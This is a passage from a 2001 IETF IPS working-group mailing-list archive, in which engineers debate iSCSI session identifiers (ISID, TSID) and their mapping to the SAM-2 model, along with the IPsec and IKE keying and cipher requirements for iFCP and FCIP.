Subject: RE: iSCSI: ISIDs > We have (so far) relied on the ISID (along with the iSCSI Name) for the > SCSI Initiator Port name (and identifier) and relied on the "iSCSI > initiator endpoint of the session" for the SCSI Initiator Port. The ISID > RULE (no reuse of ISID to a given target portal group -- and whose > enforcement rule we've been debating) was intended to prevent parallel > nexus from being created. > > If we abandon any notion of the initiator providing the ISID then we've > somehow lost our handle on what constitutes the SCSI > Initiator Port. Let me take a whack at preserving something approximating the existing situation. Starting from your option c): > c) use the model we now use (SCSI Initiator Port = initiator end of > session) but find something other than the ISID to define the SCSI Port > Name. The only choice seems to be the SSID (=TSID). This might work more > or less as David outlined. It's a little odd, however, that the target is > now *assigning* an identifier/name to the SCSI Initiator Port; that is, the > SCSI Initiator Port doesn't have a name 'all to itself', but only in the > context of a target. Do we actually need an externally visible identifier for the SCSI Initiator Port? There's clearly a session endpoint on the Initiator side that corresponds to the , and the implementation is clearly able to identify it internally to keep its sessions straight, and this identification will be (at least implicitly) visible through a management interface that looks at all the open sessions on a host or device. In essence, I'm suggesting keeping the current mapping, but allowing part of the endpoint identifier to not be visible in the protocol. --David > -----Original Message----- > From: Jim Hafner [mailto:hafner@almaden.ibm.com] > Sent: Friday, September 07, 2001 11:47 AM > To: ips@ece.cmu.edu > Subject: Re: iSCSI: ISIDs > > > > David, > > I've been mulling over your question concerning how Michael's proposal > (which I read as removing the ISID from the SSID and leaving > it up to the > target to assign the SSID) affects the SAM-2 mapping. I > don't have a good > answer. So, I'm going to brain dump here. > > We have (so far) relied on the ISID (along with the iSCSI > Name) for the > SCSI Initiator Port name (and identifier) and relied on the "iSCSI > initiator endpoint of the session" for the SCSI Initiator > Port. The ISID > RULE (no reuse of ISID to a given target portal group -- and whose > enforcement rule we've been debating) was intended to prevent parallel > nexus from being created. > > If we abandon any notion of the initiator providing the ISID > then we've > somehow lost our handle on what constitutes the SCSI > Initiator Port. We > effectively have to go back to square one to sort out the > initiator side of > the model mapping. I think we all pretty much agree that the > iSCSI Node > and the SCSI Device are intimately bound together. Our > choice for SCSI > Initiator Port come down to three > possibilities (as they always have): > > a) view all iSCSI-type SCSI Initiator Devices as being single (SCSI) > -ported. Then the SCSI Initiator Port can be identified by > the iSCSI Name. > There are similarities between this and a single ported FC HBA. Our > problem is then the parallel nexus issue. We need a rule > that says that we > can't have more than one session between a given iSCSI > Initiator and iSCSI > Target Portal Group; and we need to define the target's response to a > second such login. In effect, we've doubled our problems. > We have limited > our connectivity possibilities between a given iSCSI Initiator (max > sessions = number of target portal groups) and we still have > a 'rejection' > rule to decide (option A or option B). > > b) use the model we have for the target; namely, map the > iSCSI Initiator > Portal Group to a SCSI Initiator Port. With this, we get a > SCSI Initiator > Port name equal to the iSCSI Name + portal group tag. So far > so good. But > we are limited to one session per (initiator portal group, > target portal > group tag). This has similarities to a multi-HBA FC host. > We again limit > (to a lesser extent) our > connectivity possibilities: max sessions = (number of initiator portal > groups x number of target port groups). [In spite of the > simplicity of > this model which is independent of session identifiers, I > didn't pick this > because people felt that there was a legitimate reason to > build multiple > sessions between two portal groups (e.g., in the case where > both initiator > and target have only one HBA (so one portal group) and the > target doesn't > support more than one connection per session, I may want to > build multiple > sessions for extra parallelism, etc.).] > > c) use the model we now use (SCSI Initiator Port = initiator end of > session) but find something other than the ISID to define the > SCSI Port > Name. The only choice seems to be the SSID (=TSID). This > might work more > or less as David outlined. It's a little odd, however, that > the target is > now *assigning* an identifier/name to the SCSI Initiator > Port; that is, the > SCSI Initiator Port doesn't have a name 'all to itself', but > only in the > context of a target. The mind sort of boggles with this (and > it certain > stretches the credibility of the SAM-2 model of SCSI > Initiator Port, Port > Name and Port Identifier). We could instead pick for the SCSI > Initiator > Port Name/identifier the > union of the ipaddresses:tcpports of all the connections > involved in that > session, but I don't think that really gains us anything. > > In short, I don't know what approach to take here. > > We are effectively being constrained by SAM-2's model. We've already > stretched that model a lot by what's currently in the draft. > Summarizing > above, we can either limit our functionality (fewer sessions) > or stretch > the model further by having the target assign names to SCSI Initiator > Ports. > > It's not a good place to be. > > Jim Hafner > > > Black_David@emc.com@ece.cmu.edu on 09/06/2001 02:40:19 pm > > Sent by: owner-ips@ece.cmu.edu > > > To: ips@ece.cmu.edu > cc: > Subject: iSCSI: ISIDs > > > > Time to back up and regroup on this topic. It's clear that ISID > management needs more attention, and hence there are some issues > more basic than the attempted consensus call to work out. So, > I'm going to abandon the attempted consensus call, and try to > make progress on the underlying ISID issue. Those whose posts > have called ISID management into question should not feel it > necessary to apologize - this is an important issue to unscramble. > > A rough summary of where we find ourselves is: > - iSCSI Initiator Names span network interfaces/adapters, > as do iSCSI Target Names. > - Multiple sessions are allowed between an iSCSI Initiator > and Target. These are identified by an ISID and a > TSID. > - The ISID is the Initiator portion of the Session identifier > and is used to track certain resources associated with > the session (e.g., persistent reserves). > - The TSID is the Target portion of the Session identifier, > and serves primarily to make sure that all session > identifiers (SSID = ISID||TSID) are unique at the > Target. > > Michael Schoberg suggest getting rid of the ISID: > > > ISID - initiator-defined session-identifier > > > > Since initiators don't know about other initiators connected to this > target, > > this has the potential of causing problems. Eliminate it. > The initiator > > should simply state it's intentions of establishing a new session or > adding > > a connection to an existing session (via binary flags). > > The implication of this would be to make SSID = TSID, dynamically > assigned by the Target (0 is a reserved value on Login asking Target > to do this assignment), and partitioned appropriately across > interfaces. > Recoverable session resources would be associated with the combination > of at the iSCSI Target, and the initiator > tracks via - in both cases the TSID replaces > the ISID. From a functional standpoint, this looks like it works, > and has the nice additional property that session resources can be > recovered through any iSCSI Initiator interface vs. having to go back > to the one that's allowed to use the ISID for that session if ISIDs > are statically partitioned. > > Does this cause any problems for the SAM-2 to iSCSI mapping? > > Thanks, > --David > > --------------------------------------------------- > David L. Black, Senior Technologist > EMC Corporation, 42 South St., Hopkinton, MA 01748 > +1 (508) 435-1000 x75140 FAX: +1 (508) 497-8500 > black_david@emc.com Mobile: +1 (978) 394-7754 > --------------------------------------------------- > > > > > From owner-ips@ece.cmu.edu Fri Sep 7 19:12:56 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA01039 for ; Fri, 7 Sep 2001 19:12:56 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f87LrCZ23800 for ips-outgoing; Fri, 7 Sep 2001 17:53:12 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from maho3msx2.isus.emc.com (maho3msx2.isus.emc.com [128.221.11.32]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f87LrAP23792 for ; Fri, 7 Sep 2001 17:53:10 -0400 (EDT) Received: by maho3msx2.isus.emc.com with Internet Mail Service (5.5.2653.19) id ; Fri, 7 Sep 2001 17:53:01 -0400 Message-ID: <277DD60FB639D511AC0400B0D068B71ECAD71C@CORPMX14> From: Black_David@emc.com To: hufferd@us.ibm.com, ips@ece.cmu.edu Subject: RE: iSCSI:Target Centric ISID assignments Date: Fri, 7 Sep 2001 17:46:21 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk John's description is actually over-complicated because: - The ISID either goes away or becomes a Target portal group number. - The session recovery mechanism that he portrays as added complexity already exists and isn't affected by presence or absence of the ISID. It doesn't seem to be well-documented in -07. Partitioning the TSID into Target Portal Group + ID within group makes it easy to figure out where to go to recover or blow away a session. Whether or not the Target Portal Group is used doesn't matter to the following description - the ISID vanishes from John's description, making things simpler, viz.: First Login: 1. Initiator contacts the target with TSID of zero. 2. Target assigns the SSID by filling in the TSID. 3. Initiator remembers the SSID=TSID somehow. 4. If a parallel Session is established (perhaps under a wedge driver) the same thing will happen -- Initiator sends TSID=0, and the Target will assign a different TSID, since it is keeping state on the TSIDs it has handed out to a specific iSCSI Initiator Node. This will be a different NEXUS not associated with any other session on that iSCSI Initiator Node. Note that the target has the option of keeping TSID state globally, so that TSID values are unique within a Target or a Target portal group. This is the Target implementer's choice, and can simplify session lookup. This particular comment applies independent of ISID removal, but is the reason why I mentioned the idea of expanding the TSID, as I can foresee problems with a 16 bit counter, but not with 24 or 32 bits. 5. If a Multiple Connection per Session was established, the NON leading connection will have the TSID filled in, and things will continue as currently documented. 6. If the Initiator goes down, and the parallel sessions need to re-establish the NEXUS they supply the TSID. 6a. If they don't have the original TSID, they send TSID=0, and the Target will establish a new session. The NEXUS that might have the Persistent Reserves is still bound to the previous Session. 6b. If the New session wants to keep working with the old Persistent Reserves, it needs explicitly blow-away the Reserves and Reclaim them (per normal) using the Persistent Reserves Command Set. 6c. If the TSID had been saved by the Initiator, and a logon is reissued, it can specify the TSID, and the Target should then know that a new session is starting. The target should match the TSID with any outstanding session it has. That is, the Target should either match it up the TSID with an old session (in some way), and continue, or it should Blow the OLD session away. David suggested a "Blow it away Bit". (This sounds like option A and B all over again.) Whether or not to have a "Blow it away Bit" vs. implicitly blowing away the old session vs. failing the login is Option A/B/C all over again. The X bit already has meaning in this context (for the 6c case the X bit has to be zero in this case because 6d uses it), and hence can't be reused here. It's now considerably safer to blow away old connections because a non-zero TSID only occurs on login when there was a previous session with that TSID and some sort of error recovery or action on that previous session is intended. All the scenarios in which a "wrong" ISID causes a session to be blown away incorrectly can't happen because the Initiator doesn't pick ISID values. 6d. If the ISID was saved but it took so long that the Target's session cleanup process, had thrown away the Old session, the Login just continues as it does today. The Initiator Session can determine if the session continued, and it has it previous reserves, or if a new session was created without the Reserves. Actual recovery and continuation of the session has to set the X bit. If X is set on a Login command, and there's no existing session to log into, then the Login has to fail in some fashion - I'm not sure that's documented at the moment, and I think it needs to be regardless of the course we take. So the Option here is to return an error message if there is no existing session. The Initiator will then need to understand this and somehow cause the reserves to be issued again. (Folks will say, that is what they do anyway so they will always do that, so don't worry about it.) (John's Comment: This is now starting to get complicated again.) Correct, but not relevant. This set of complications exists regardless of what we do about the ISID as they're inherent in the session case of Error Recovery and the use of the X-bit on Login. This is an existing session recovery mechanism, not something that gets added as a consequence of ISID removal. > 7. In the case that the Initiator has "lost its way" and want to start again, the initiator will Login with TSID=0. This is exactly case 6a above. John's case 7a can't happen. > OK, after looking at the above. It seems to me that we can have this > assignment of ISID by the Target System. (It is kind of acting like a third > party ISID assigner.) The rest of the documentation should be the same. Well, actually, it's simpler to get rid of the ISID and just use the TSID. For reasons that Jim Hafner can probably explain better than I can, using the ISID field to hold the Target portal group number on login helps tidy up some issues in that area (and it also makes it easy for an Initiator trying to recover or destroy an existing session to figure out exactly which target interfaces will know about that session vs. be clueless). > The issue of Option A or B is still with us. However, the issue of the > Rouge Initiator, that can not find its approprate ISID is solved. (Don't > you just love the emotive way I put that.) Keep in mind that the Rogue Initiator sure looks like a valid technical objection to the Option A that seems to be otherwise favored in list discussion. > Also the assignment of ISIDs is made easier for some implementations. > (However, the approach suggested by Jim Hafner seems simple enough.) It's certainly simple logic. The problem is that ISID assignment has to be coordinated across all interfaces on a single Initiator - between code from different vendors, administrative tools, and interaction with logic in the OS platform that may be trying to coordinate ISID assignment, there are many opportunities to get things wrong. If this doesn't scare you, John's notion of having to coordinate ISID assignment across all systems in a cluster because they share a common iSCSI Initiator Name should. FWIW, if the cluster example wants to recover session state (e.g., persistent reserves) across host system failures, it needs dynamic fault-tolerant ISID assignment across the entire cluster (that should really scare you) or elimination of ISIDs and ISID assignment (which is much simpler ;-) ). Thanks, --David > -----Original Message----- > From: John Hufferd [mailto:hufferd@us.ibm.com] > Sent: Friday, September 07, 2001 4:54 PM > To: ips@ece.cmu.edu > Subject: > > > Let me see if I have everything together in the following > regarding the > TSID centric assignment of ISID. > > First Login: > 1. Initiator contacts the target with TSID of zero, and ISID of zero > 2. Target assigns the SSID by filling in the ISID and its own TSID. > 3. Initiator remembers the ISID somehow. > 4. If a parallel Session is establish (perhaps under a wedge > driver) the > same thing will happen -- Initiator sends TSID=0 and ISID=0, > except the > Target will assign a different ISID, since it is keeping > state on the ISIDs > it has handed out to a specific iSCSI Initiator Node. This will be a > different NEXUS not associated with any other session on that iSCSI > Initiator Node. > 5. If a Multiple Connection per Session was established, the > NON leading > connection will have the SSID (with TSID and ISID filled in), > and things > will continue as currently documented. > 6. If the Initiator goes down, and the parallel sessions need to > re-establish the NEXUS they come back with the TSID but may > or may not have > the approprate ISID (if they did not have a way to save it). > 6a. If no ISID was used in the Initiator Login, the Target will > re-establish a new session. The NEXUS that might have the Persistent > Reserves is still bound to the previous Session. > 6b. If the New session wants to keep working with the old Persistent > Reserves, it needs explicitly blow-away the Reserves and > Reclaim them (per > normal) using the Persistent Reserves Command Set. > 6c. If the ISID had been saved by the Initiator, and a logon > is reissued, > it can specify the ISID, and NO TSID, and the Target should > then know that > a new session is starting. The target should match the ISID with any > outstanding session it has. That is, the Target should > either match it up > the ISID with an old session (in some way), and continue, or > it should Blow > the OLD session away. David suggested a "Blow it away Bit". > (This sounds > like option A and B all over again.) > 6d. If the ISID was saved but it took so long that the > Target's session > cleanup process, had thrown away the Old session, the Login > just continues > as it does today. The Initiator Session can not really > determine if the > session continued, and it has it previous reserves, or if a > new session was > created without the Reserves. (Potential hitch.) So the > Option here is to > return an error message if there is no existing session. The > Initiator > will then need to understand this and somehow cause the reserves to be > issued again. (Folks will say, that is what they do anyway > so they will > always do that, so don't worry about it.) > (Comment: This is now starting to get complicated again.) > 7. In the case that the Initiator has "lost its way" and want to start > again, the initiator will Login with either the current > ISID, and TSID =0 > or with both =0. > 7a. Using the current ISID should cause the Initiator to > handle it like 6c > above. (Again, it sounds like the A, and B options). > 7b. If both ISID and TSID are zero, it looks like 6a above. > > OK, after looking at the above. It seems to me that we can have this > assignment of ISID by the Target System. (It is kind of > acting like a third > party ISID assigner.) The rest of the documentation should > be the same. > The issue of Option A or B is still with us. However, the issue of the > Rouge Initiator, that can not find its approprate ISID is > solved. (Don't > you just love the emotive way I put that.) Also the > assignment of ISIDs is > made easier for some implementations. (However, the approach > suggested by > Jim Hafner seems simple enough.) > > Now the discussion should be, did I miss something important, > and is the > change worth it > > . > . > . > John L. Hufferd > Senior Technical Staff Member (STSM) > IBM/SSG San Jose Ca > Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 > Home Office (408) 997-6136 > Internet address: hufferd@us.ibm.com > From owner-ips@ece.cmu.edu Fri Sep 7 19:48:36 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA01597 for ; Fri, 7 Sep 2001 19:48:36 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f87MTeU25983 for ips-outgoing; Fri, 7 Sep 2001 18:29:40 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mxic1.isus.emc.com ([168.159.129.100]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f87MTcP25978 for ; Fri, 7 Sep 2001 18:29:39 -0400 (EDT) Received: by mxic1.isus.emc.com with Internet Mail Service (5.5.2653.19) id ; Fri, 7 Sep 2001 18:31:35 -0400 Message-ID: <277DD60FB639D511AC0400B0D068B71ECAD71E@CORPMX14> From: Black_David@emc.com To: bill@sanera.net, ips@ece.cmu.edu Subject: RE: iFCP: security position Date: Fri, 7 Sep 2001 18:22:50 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk Bill's DES issue goes away if the DES requirements language is "SHOULD NOT use". A facility that insists on using DES has been more than adequately warned by the "SHOULD NOT". --David --------------------------------------------------- David L. Black, Senior Technologist EMC Corporation, 42 South St., Hopkinton, MA 01748 +1 (508) 435-1000 x75140 FAX: +1 (508) 497-8500 black_david@emc.com Mobile: +1 (978) 394-7754 --------------------------------------------------- > -----Original Message----- > From: Bill Strahm [mailto:bill@sanera.net] > Sent: Friday, September 07, 2001 6:17 PM > To: Franco Travostino; ips@ece.cmu.edu > Subject: RE: iFCP: security position > > > This is going to be very interseting... How do you plan on > using standard > IPsec clients that have DES as MUST implement when your > application that > sits above it has a MUST NOT implement requirement. This > would be like > having a protocol that tells layer 3 that it MUST run over > Token Ring, but > MUST NOT run over Ethernet. > > These are all policy issues that can be solved by having the end users > implement appropriate policies, not by standards organizations > > Bill > Sanera Systems Inc. > -----Original Message----- > From: owner-ips@ece.cmu.edu [mailto:owner-ips@ece.cmu.edu]On Behalf Of > Franco Travostino > Sent: Friday, September 07, 2001 1:31 PM > To: ips@ece.cmu.edu > Subject: iFCP: security position > > > > After the interim meeting, we restate our security coordinates in the > following terms. Additionally, we have expanded our Irvine slides with > rationale text and insights that we learnt at the interim > meeting. Such > amended slide set is available at > ftp://standards.nortelnetworks.com/san/ifcp_security_requireme nts-v2.pdf Comments most welcome. Keying: IKE Pre-shared keys: MUST implement Signature key authentication: MAY implement Phase-1/Main Mode: MUST implement Phase-1/Aggressive Mode: MAY implement Phase-2/Quick Mode: MUST implement Phase-2/Quick Mode + KE payload: MUST implement Identities are IP addresses in all Phase-1/Phase-2 Modes Integrity MAC: HMAC-SHA1: MUST implement AES (X)CBC MAC: SHOULD implement* Encryption: 3DES CBC: MUST implement AES CTR: SHOULD implement* DES: SHOULD NOT implement NULL: MUST implement Encapsulation Style: Tunnel Mode. (*) IFF there is a Proposed Standard RFC that we can cite by the time we hit Last Call. HMAC-SHA1 and 3DES CBC suit us fine otherwise (as justified in the slides). -franco iFCP Technical Coordinator Franco Travostino, Director Content Internetworking Lab Advanced Technology Investments Nortel Networks, Inc. 600 Technology Park Billerica, MA 01821 USA Tel: 978 288 7708 Fax: 978 288 4690 email: travos@nortelnetworks.com From owner-ips@ece.cmu.edu Fri Sep 7 19:54:07 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA01714 for ; Fri, 7 Sep 2001 19:54:07 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f87MmPj26983 for ips-outgoing; Fri, 7 Sep 2001 18:48:25 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mxic2.us.dg.com (mxic2.us.dg.com [128.221.31.40]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f87MmPP26979 for ; Fri, 7 Sep 2001 18:48:25 -0400 (EDT) Received: by mxic2.us.dg.com with Internet Mail Service (5.5.2653.19) id ; Fri, 7 Sep 2001 18:45:54 -0400 Message-ID: <277DD60FB639D511AC0400B0D068B71ECAD720@CORPMX14> From: Black_David@emc.com To: hafner@almaden.ibm.com, ips@ece.cmu.edu Subject: RE: iSCSI: ISIDs Date: Fri, 7 Sep 2001 18:41:43 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk Jim, > 1) I think there's some confusion on what Michael's suggestion really is. > Some seem to think that the idea *replace* the SSID=ISID||TSID with just a > 32bit TSID (so there is no ISID component at all). The other is that the > target provides SSID but it is still viewed as two components (and each > component has some role to play). > Can we get this clarified? I was under the assumption that it's the first > option here. > > Your note about 32bit TSID of which part of the name was the portal group > tag made me think that you're in the first camp. But your comment below > about makes me think you're in the second camp. I'm in the first camp. The "" text was meant to refer to the current situation in which that pair is the visible identity of the SCSI Initiator Port. > 2) I don't understand your comment below: > > Do we actually need an externally visible identifier for the SCSI > >Initiator Port? There's clearly a session endpoint on the Initiator > >side that corresponds to the , and the > >implementation is clearly able to identify it internally to keep its > >sessions straight, and this identification will be (at least implicitly) > >visible through a management interface that looks at all the open sessions > >on a host or device. In essence, I'm suggesting keeping the current > >mapping, but allowing part of the endpoint identifier to not be > >visible in the protocol. > Where is the ISID coming from (see the question above)? What part of the > endpoint identifier is NOT visible? The ISID goes away, and what replaces it could be the TSID (which you have problems with) or something internal to the Initiator implementation ... > There are lots of ways for an implementation to identify internally it's > sessions, and need not at all rely on any part of the SSID (e.g., my > connection structure contains a pointer to an open socket and a pointer > to a session structure, so any message on that socket must be related to > that session). The point being that my implementation doesn't have to > care at all about SSID. Yes, use something like that as the identifier for the session endpoint that gets mapped to the iSCSI Initiator Port. > Nobody has really asked for an 'externally visible identifier' for the SCSI > Initiator Port (at least I don't think I have directly). What I'm looking > for is the thing the SCSI device server (implicitly) uses to identify the > "I" in the I_T nexus. Good, that was the answer I was hoping for. > Up till now, SCSI/SAM has had a static hardware > identifier for that thing (parallel bus address, the FC nodename, etc.) > because there was a hardware component on which to bind the SCSI Initiator > Port. So, that name/identifier was an inherent component of the SCSI > Initiator Port implementation that was propogated *from the intiator side > to the target side* in protocol specific ways. My model(c) and what I > think you're suggesting says that we're allowing the iSCSI target to pass > to the iSCSI initiator the 'name' that the constructed SCSI Initiator Port > will/shall/must use. So, the naming authority is not on the initiator > side and the name doesn't flow from the initiator to the target, but is > reversed in both cases. Actually I'm suggesting something different. The Initiator implementation knows that it wants to create a session to the Target, and has a notion of that session when it sends the Login - this is well before the target has assigned a TSID. In essence, that internal notion of session is an implicit naming authority that avoids the concern about the iSCSI Initiator Port obtaining its identity from the Target - in essence the iSCSI Initiator Port has to exist in order to send the Login to the Target, and hence has a notion of identity independent of the Target to which it wants to connect because the iSCSI Initiator Port exists prior to establishment of that connection or assignment of the TSID to the session. [... Rest snipped, as I departed from your assumptions in the above paragraph ...] Thanks, --David --------------------------------------------------- David L. Black, Senior Technologist EMC Corporation, 42 South St., Hopkinton, MA 01748 +1 (508) 435-1000 x75140 FAX: +1 (508) 497-8500 black_david@emc.com Mobile: +1 (978) 394-7754 --------------------------------------------------- From owner-ips@ece.cmu.edu Fri Sep 7 19:54:34 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA01725 for ; Fri, 7 Sep 2001 19:54:33 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f87MYlD26271 for ips-outgoing; Fri, 7 Sep 2001 18:34:47 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mxic2.us.dg.com (mxic2.us.dg.com [128.221.31.40]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f87MYkP26267 for ; Fri, 7 Sep 2001 18:34:46 -0400 (EDT) Received: by mxic2.us.dg.com with Internet Mail Service (5.5.2653.19) id ; Fri, 7 Sep 2001 18:32:16 -0400 Message-ID: <277DD60FB639D511AC0400B0D068B71ECAD71F@CORPMX14> From: Black_David@emc.com To: Black_David@emc.com, ips@ece.cmu.edu Subject: RE: FCIP and iFCP Keying Problem Date: Fri, 7 Sep 2001 18:28:03 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk Filling in a couple of missing pieces here: - See Section 4.4 of draft-aboba-ips-iscsi-security-00.txt for more details on the man-in-the-middle vulnerability. That vulnerability is based on the use of group pre-shared keys. - My strong language below is based in part on an assumption that banning group pre-shared keys is unworkable in practice. Key management is a pain, and use of group pre-shared keys simplifies it, even though it has some security costs. Questioning the latter assumption is reasonable, but I'll point out that group pre-shared (vs. per session pre-shared) keys are a fact of life in current IPsec deployment/management, and even turn up in the absence of dynamic IP address assignment. The reason the text in my previous message just said "pre-shared keys" rather than "group pre-shared keys" is that there may be no way for a participant in an IKE session to know whether the pre-shared key was shared only among the two endpoints of the session or with other parties. Thanks, --David > -----Original Message----- > From: Black_David@emc.com [mailto:Black_David@emc.com] > Sent: Friday, September 07, 2001 4:34 PM > To: ips@ece.cmu.edu > Subject: FCIP and iFCP Keying Problem > Importance: High > > > Both FCIP and iFCP intend to require: > > - IKE with pre-shared keys MUST implement > - IKE with public-key based keys MAY implement > - IKE Main Mode MUST implement > - IKE Aggressive Mode MAY implement > > That's not acceptable because the result of combining > the two mandatory (MUST) mechanisms is vulnerable to a > man-in-the-middle attack. > > If IKE with pre-shared keys is "MUST implement" (which > makes sense, as it's the simplest IKE authentication > mechanism), then: > - IKE Aggressive Mode needs to be "MUST implement" > - Use of IKE Main Mode with pre-shared keys needs > to be "SHOULD NOT use" or "MUST NOT use". > Alternatively, if IKE Aggressive Mode remains "MAY implement", > then: > - IKE with signature authentication based on public > keys needs to be "MUST implement" along with > some certificate usage guidelines. > - Pre-Shared keys needs to be "MAY implement" (can't > be any stronger than the requirement for > IKE Aggressive Mode). > - Use of IKE Main Mode with pre-shared keys needs > to be "SHOULD not use" or "MUST not use". > > Changing IKE to remove the Main Mode vulnerability > with pre-shared keys is not a viable approach. > > Sorry, > --David > > --------------------------------------------------- > David L. Black, Senior Technologist > EMC Corporation, 42 South St., Hopkinton, MA 01748 > +1 (508) 435-1000 x75140 FAX: +1 (508) 497-8500 > black_david@emc.com Mobile: +1 (978) 394-7754 > --------------------------------------------------- > From owner-ips@ece.cmu.edu Fri Sep 7 19:56:10 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA01753 for ; Fri, 7 Sep 2001 19:56:04 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f87MIeh25324 for ips-outgoing; Fri, 7 Sep 2001 18:18:40 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from sentinel.sanera.net (ns1.sanera.net [208.253.254.10]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f87MIYP25313 for ; Fri, 7 Sep 2001 18:18:38 -0400 (EDT) Received: from newton.sanera.net (newton [192.168.254.11]) by sentinel.sanera.net (8.11.2/8.11.2) with ESMTP id f87MIOO18976; Fri, 7 Sep 2001 15:18:24 -0700 Received: from strahmw2k (dhcp-pc-100-165.sanera.net [192.168.100.165]) by newton.sanera.net (8.11.4/8.11.4) with SMTP id f87MIH211766; Fri, 7 Sep 2001 15:18:18 -0700 (PDT) From: "Bill Strahm" To: "Franco Travostino" , Subject: RE: iFCP: security position Date: Fri, 7 Sep 2001 15:17:21 -0700 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) Importance: Normal In-Reply-To: <5.0.2.1.2.20010907161859.03a1c510@zbl6c002.corpeast.baynetworks.com> X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit This is going to be very interseting... How do you plan on using standard IPsec clients that have DES as MUST implement when your application that sits above it has a MUST NOT implement requirement. This would be like having a protocol that tells layer 3 that it MUST run over Token Ring, but MUST NOT run over Ethernet. These are all policy issues that can be solved by having the end users implement appropriate policies, not by standards organizations Bill Sanera Systems Inc. -----Original Message----- From: owner-ips@ece.cmu.edu [mailto:owner-ips@ece.cmu.edu]On Behalf Of Franco Travostino Sent: Friday, September 07, 2001 1:31 PM To: ips@ece.cmu.edu Subject: iFCP: security position After the interim meeting, we restate our security coordinates in the following terms. Additionally, we have expanded our Irvine slides with rationale text and insights that we learnt at the interim meeting. Such amended slide set is available at ftp://standards.nortelnetworks.com/san/ifcp_security_requirements-v2.pdf Comments most welcome. Keying: IKE Pre-shared keys: MUST implement Signature key authentication: MAY implement Phase-1/Main Mode: MUST implement Phase-1/Aggressive Mode: MAY implement Phase-2/Quick Mode: MUST implement Phase-2/Quick Mode + KE payload: MUST implement Identities are IP addresses in all Phase-1/Phase-2 Modes Integrity MAC: HMAC-SHA1: MUST implement AES (X)CBC MAC: SHOULD implement* Encryption: 3DES CBC: MUST implement AES CTR: SHOULD implement* DES: SHOULD NOT implement NULL: MUST implement Encapsulation Style: Tunnel Mode. (*) IFF there is a Proposed Standard RFC that we can cite by the time we hit Last Call. HMAC-SHA1 and 3DES CBC suit us fine otherwise (as justified in the slides). -franco iFCP Technical Coordinator Franco Travostino, Director Content Internetworking Lab Advanced Technology Investments Nortel Networks, Inc. 600 Technology Park Billerica, MA 01821 USA Tel: 978 288 7708 Fax: 978 288 4690 email: travos@nortelnetworks.com From owner-ips@ece.cmu.edu Fri Sep 7 20:13:58 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA02018 for ; Fri, 7 Sep 2001 20:13:58 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f87N4h627764 for ips-outgoing; Fri, 7 Sep 2001 19:04:43 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from sentinel.sanera.net (ns1.sanera.net [208.253.254.10]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f87N4fP27756 for ; Fri, 7 Sep 2001 19:04:41 -0400 (EDT) Received: from newton.sanera.net (newton [192.168.254.11]) by sentinel.sanera.net (8.11.2/8.11.2) with ESMTP id f87N4aO19241; Fri, 7 Sep 2001 16:04:36 -0700 Received: from strahmw2k (dhcp-pc-100-165.sanera.net [192.168.100.165]) by newton.sanera.net (8.11.4/8.11.4) with SMTP id f87N4U215772; Fri, 7 Sep 2001 16:04:30 -0700 (PDT) From: "Bill Strahm" To: , Subject: RE: iFCP: security position Date: Fri, 